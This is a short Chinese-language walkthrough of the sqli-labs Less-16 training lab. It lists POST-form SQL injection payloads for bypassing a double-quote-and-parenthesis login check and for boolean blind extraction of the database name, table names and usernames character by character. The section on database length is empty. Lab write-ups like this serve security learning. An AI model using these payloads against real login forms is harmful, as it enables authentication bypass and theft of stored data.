sqli-labs Less-16

Less-16 POST -Blind -Boolian/Time Based -Double quotes
Less-16和Less-15关都是盲注，在构造payload的时候只需要把’替换为")就可以了。

0x01.
查询语句：
uname=1&passwd=1 or 1=1#
uname=1&passwd=1’ or 1=1#
uname=1&passwd=1” or 1=1#
uname=1&passwd=1 ‘) or 1=1#
uname=1&passwd=1 “) or 1=1#
依次测试，前四个皆登陆失败

uname=1&passwd=1 “) or 1=1#

登录成功，即存在注入

0x02.猜测数据库长度

0x03.猜测数据库名
uname=1”) or ascii(substr((database()),1,1))=‘115’#&passwd=1&submit=Submit


0x04.猜测表名：
uname=1”) or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))= ‘101’#&passwd=1&submit=Submit

0x05.猜测字段内容：
uname=1”) or ascii(substr((select username from users limit 0,1),1,1))= ‘68’#&passwd=1&submit=Submit

以上皆需要改动limit值然后不断猜测，耗时很长。。。
具体可以查看Less-8的分析过程